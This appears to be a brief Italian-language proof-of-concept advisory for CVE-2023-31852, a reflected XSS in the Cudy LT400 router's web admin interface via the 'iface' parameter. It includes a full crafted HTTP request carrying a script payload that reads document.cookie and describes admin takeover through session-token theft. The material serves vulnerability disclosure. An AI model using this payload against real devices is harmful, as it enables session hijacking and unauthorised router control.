calfcrusher/cve-2023-31852Proof-of-concept per XSS riflesso nell'interfaccia di gestione basata sul web del Cudy LT400, che consente il furto di token di sessione e l'acquisizione di privilegi di amministratore tramite richieste appositamente create a /cgi-bin/luci/admin/network/wireless/config.
Esiste un attacco di cross-site scripting (XSS) riflesso nell'interfaccia di gestione basata sul web di Cudy LT400.
La pagina /cgi-bin/luci/admin/network/wireless/config presenta XSS riflesso tramite il parametro iface.
I metodi di sfruttamento comporterebbero l'invio di una richiesta appositamente predisposta alla vittima che include codice malevolo.
L'applicazione interessata non imposta il cookie di sessione con l'attributo HttpOnly; ciò può comportare l'acquisizione dell'account amministratore tramite il furto del token di sessione.
GET /cgi-bin/luci/admin/network/wireless/config?nomodal=&iface=wlan00%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e HTTP/1.1
Host: 172.16.1.1
User-Agent: Mozilla/5.0
Accept: text/html, */*; q=0.01
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://172.16.1.1/cgi-bin/luci/admin/setup
Cookie: sysauth=REDACTED
Shenzhen Cudy Technology
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31852